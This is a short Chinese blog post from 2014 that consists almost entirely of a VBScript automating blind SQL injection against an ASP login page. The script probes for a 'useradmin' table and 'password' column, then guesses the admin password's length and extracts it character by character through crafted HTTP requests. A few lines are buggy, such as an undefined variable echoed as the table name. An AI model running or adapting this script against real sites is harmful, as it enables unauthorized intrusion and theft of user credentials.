VBS实现注入 
 1 RightW = "OK!" '定义正确页面返回的关键字.
 2 tablename = "useradmin" '定义表名,列名,本程序不提供表名,列名猜测功能,仅仅提供密码猜测.
 3 filedname = "password"
 4 WScript.Echo "Start check the tname and the fname,please waiting... ..."
 5 
 6 URL="http://127.0.0.1/fwork/f.asp?username=admin&password=abzvc" '有注入漏洞的url地址,下面提供的是针对字符型漏洞的注入,数字型只需要稍微更改即可.
 7 
 8 Set xPost = createObject("Microsoft.XMLHTTP") '检测表名是否正确
 9 sURL1=URL&"%20and%20(Select%20Count(1)%20from%20[useradmin])>=0"
10 xPost.Open "POST",sURL1,0
11 xPost.Send "1212312"
12 If instr(xPost.responseText,RightW) <> 0 Then
13 WScript.Echo "table name is:"&useradmin
14 End if
15 
16 sURL2=URL&"%20and%20(Select%20Count([useradmin].[password])%20from%20[useradmin])>=0" '检测列名是否正确
17 xPost.Open "POST",sURL2,0
18 xPost.Send "1212312"
19 If instr(xPost.responseText,RightW) <> 0 Then
20 WScript.Echo "field name is:"&filedname
21 End if
22 
23 WScript.Echo "Start gussing,Waiting... ..."
24 
25 For i = 0 to 128 step 1'猜测密码长度
26 sURL3=URL&"and+(select%20username%20from%20useradmin%20where%20len(password)="&i&"%20and%20username=user)>=0"
27 xPost.Open "POST",sURL3,0
28 xPost.Send "1212312"
29 If instr(xPost.responseText, RightW) <> 0 Then
30 Exit For
31 End If
32 Next
33 pwd_len = i
34 WScript.Echo "the pass length is:"&pwd_len
35 
36 pwd = "" '猜测密码
37 strings = "0123456789abcdefghijklmnopqrstuvwxyz" '自定义密码字符串
38 For j = 1 to pwd_len step 1
39 For k = 1 to len(strings) step 1
40 
41 sURL4=URL&"%20and%20(select%20username%20from%20useradmin%20where%20left(password,"&j&")%20="&pwd&mid(strings,k,1)&"%20and%20username=user)>=0"
42 xPost.Open "POST",sURL4,0
43 xPost.Send "1212312"
44 
45 If instr(xPost.responseText,RightW) <> 0 Then
46 pwd = pwd & mid(strings,k,1)
47 Exit For
48 End If
49 Next
50 Next
51 
52 If errn Then
53 WScript.Echo "error:" & Error.Description
54 Error.Clear
55 Else
56 WScript.Echo "!!!Password:" & pwd
57 End If

 

posted on 2014-02-22 07:03  举剑问天  阅读(539)  评论(0)    收藏  举报